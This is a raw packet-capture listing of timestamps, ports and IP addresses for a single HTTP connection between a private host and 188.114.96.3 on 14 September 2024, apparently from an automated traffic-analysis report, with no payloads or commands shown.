Sep 14, 2024 18:44:27.981933117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.981961966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.981966019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982022047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982031107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982057095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982088089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982120991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982150078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982163906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982199907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982232094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982264042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982264996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982297897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982326031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982331038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982362986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982393026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982395887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982428074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982456923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982460976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982494116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982525110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982558966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982589960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982718945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982752085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982783079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982786894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982814074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982845068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982856035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982877970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982909918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982943058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.982965946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.982974052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983006001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983036041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983038902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983071089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983098984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983103037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983154058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983186007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983220100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983241081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983252048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983304977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983334064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983336926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983370066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983413935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983431101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983480930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983536005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983539104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983572006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983599901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983606100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983632088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983664036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983689070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983695984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983727932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983735085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983762026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983794928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983825922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983841896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983859062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983891964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983906031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983926058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983958006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.983964920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.983990908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984024048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984036922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984057903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984098911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984107971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984142065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984164000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984173059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984205008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984240055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984256029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984272957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984303951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984334946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984359026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984369040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984404087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984414101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984436035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984469891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984474897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984502077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984544992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984591007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984618902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984622002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984657049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984673977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984689951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984721899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984735012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984755993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984788895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984802961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984821081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984855890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984863043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:27.984884977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:27.984935999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.033576012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.041069984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041132927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041148901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041165113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041182041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041198969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041215897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.041318893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.041632891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.067591906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067629099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067698002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067750931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067764997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067776918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.067805052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.067847967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067862988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067907095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.067928076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067945004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.067977905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068056107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068070889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068085909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068099976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068114996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068115950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068130970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068131924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068146944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068161964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068176031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068176031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068192959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068336964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068351984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068367958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068373919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068444967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068478107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068495035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068511963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068526983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068536997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068542004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068557024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068569899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068579912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068592072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068595886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068612099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068619013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068628073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068640947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068641901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068655014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068659067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.068684101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.068994999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069040060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069053888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069070101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069096088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069106102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069112062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069129944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069129944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069145918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069161892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069161892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069178104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069180965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069196939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069211006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069211960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069228888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069242954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069245100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069263935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069278002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069283962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069294930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069308043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069312096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069324970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069339991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069340944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069356918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069375038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069375992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069402933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069650888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069668055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069709063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069804907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069823027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069838047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069848061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069853067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069870949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069879055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069888115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069904089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069912910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069921017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069936037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069943905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069952011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069964886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069976091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.069982052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.069998026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070004940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070014954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070031881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070039988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070048094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070071936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070296049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070312023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070337057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070352077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070363045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070369005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070384026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070400000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070414066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070430994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070430994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070446968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070462942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070480108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070481062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070496082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070497036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070514917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070530891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070579052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070579052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070724964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070741892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070806026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070888996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070905924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070919991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070935011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070944071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070951939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070967913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.070976019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.070982933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071000099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071007013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071014881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071033001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071034908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071050882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071068048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071074009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071082115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071099997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071106911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071161032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071326971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071342945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071357965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071372986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071405888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071408987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071423054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.071428061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.071466923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.127891064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.127926111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.127943039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.127958059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.127974987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.127990007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.128005981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.128074884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.128375053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.154865026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.154937983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.154973984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155014992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155025959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155061960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155096054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155148983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155181885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155219078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155229092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155229092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155250072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155302048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155334949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155364037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155409098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155452013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155477047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155486107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155515909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155565023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155602932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155603886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155635118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155668974 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155668974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155703068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155752897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155762911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155787945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155822039 CEST	80	54891	188.114.96.3	192.168.2.7
